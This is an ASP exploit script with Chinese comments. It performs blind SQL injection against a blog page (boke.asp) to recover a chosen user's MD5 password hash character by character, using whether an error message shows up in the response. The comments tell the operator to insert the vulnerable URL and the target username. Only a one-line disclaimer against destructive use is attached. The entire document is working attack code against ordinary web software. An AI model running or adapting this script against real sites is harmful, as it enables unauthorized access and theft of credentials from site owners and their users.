<%
  '==================================================
  '
  '请将 [url]http://www.target.com/boke.asp[/url] 修改为有毛病的URL
  ' 将 admin 改为您要读取密码的用户ID
  '
  '==================================================
  Server.ScriptTimeout=300
  Response.Buffer = True
  Dim hehefulsh
  Dim charhex,OpenURL,templen,tempstr,newgetlen,theoffset,theURL,TheUser
  Set hehefulsh = CreateObject("Microsoft.XMLHTTP")
  charhex=Split("0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f",",")
  tempstr=""
  for total=0 to 15
  for theoffset=0 to 15
  templen=0
  OpenURL="http://www.target.com/boke.asp?admin'and'" & tempstr & charhex(theoffset) & "'=left(password," &total+1& ")and''='.index.html.index.html"
  hehefulsh.Open "Get",OpenURL, False, "", ""
  hehefulsh.Send
  GetPage = BytesToBstr(hehefulsh.ResponseBody)
  If InStr(GetPage,"该博客用户不存在或填写的资料有误！")=0 Then
  tempstr=tempstr & charhex(theoffset)
  response.write "前" & total+1 & "位MD5值为：" & tempstr & " 其他密码正在读取中，请等候。。。
"
  Response.Flush
  Exit for
  End if
  Next
  Next
  response.write "


成功读取密码的MD5值，为：" & tempstr & "


请不要使用本程序进行破坏举动！"
  Set hehefulsh = Nothing
  Function BytesToBstr(body)
  dim objstream
  set objstream = Server.CreateObject("adodb.stream")
  objstream.Type = 1
  objstream.Mode =3
  objstream.Open
  objstream.Write body
  objstream.Position = 0
  objstream.Type = 2
  objstream.Charset = "GB2312"
  BytesToBstr = objstream.ReadText
  objstream.Close
  set objstream = nothing
  End Function
  %>